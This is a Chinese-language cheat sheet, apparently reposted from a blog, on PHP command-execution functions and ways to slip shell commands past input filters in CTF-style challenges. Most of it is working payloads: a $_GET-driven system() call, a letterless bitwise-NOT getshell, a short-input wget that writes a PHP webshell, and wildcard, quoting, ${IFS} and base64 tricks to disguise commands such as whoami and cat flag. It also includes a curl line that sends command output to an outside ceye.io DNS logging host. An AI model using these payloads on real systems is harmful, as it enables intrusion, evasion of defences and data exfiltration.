标签:vim 通配符 的区别 base oca exec creat replace 系统命令
php常见命令执行函数
php代码
eval()
assert()
preg_replace
call_user_func()
call_user_func_array()
create_function
array_map()
系统命令代码
system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
``
ob_start()
php的动态执行
cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag
$e=‘sys‘.‘tem‘;$e(‘cat flag‘);
disable_function绕过
1.ld_preload
2.php_gc
无字母getshell
取反~?code=(~%8f%97%8f%96%91%99%90)()//phpinfo()
限制输入字符数
>wget\>域名.\>com\>-O\>she\>ll.p\>p
ls -t>a
sh a
linux中有查看功能的命令
cat、tac、more、less、head、tail、nl、
sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)
windows
1. windows下 “和^和()不会影响命令执行
2.切割字符 %a:~0,3% 代表变量a 0-3个字符
eg.
set a=asdfghj
who$a:~0,1%mi <=> whoami
通配符
linux windows
常见:
* :0-多
? :1
[abc] :abc
[a-c] :abc
[^abc]:没有abc
来了:
cat f[abc]lag
cat f[a-z]lag
cat fla*
字符拼接
双引号:"w"h"o"a"m"i linux windows
单引号: ‘w‘ho‘am‘i linux
反斜杠\: who\ami cat\flag linux
重定向: cat<>flag cat<flag linux
大括号: {cat,flag} linux
变量: a=l;b=s;$a$b; linux
变量:set a=di&&set b=r&& %a%%b% windows
骚操作:
1. 666`whoami`666 => bash: 666root666:未找到命令
2. who`asd`am`sss`i =>
bash: ssd:未找到命令
bash: sss:未找到命令
root
变量
保留变量名 无意义变量$+123456789 ${IFS} ${IFS}$9
cat${IFS}flag linux
编码
echo d2hvYW1pCg== | base64 -d //执行whoami -d 意思是decode linux
windows可以使用powershell base64
&,&&,|,||在windows和linux中的区别
& linux:后台运行 windows: 1 2 同时执行
1&&2 linux windows:1无错误运行2
| linux windows:上一条命令的输出,作为下一条命令参数(输入)
1||2 linux windows:1有错误运行2
一句话反弹shel
DNS
curl xxxx.ceye.io/`whoami`
借他文之手来获取字符
借助已有的字符进行拼接
利用Linux的环境变量
echo ${PATH} => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:1:1} => u
标签:vim 通配符 的区别 base oca exec creat replace 系统命令
原文地址:https://www.cnblogs.com/Ky1226/p/14223718.html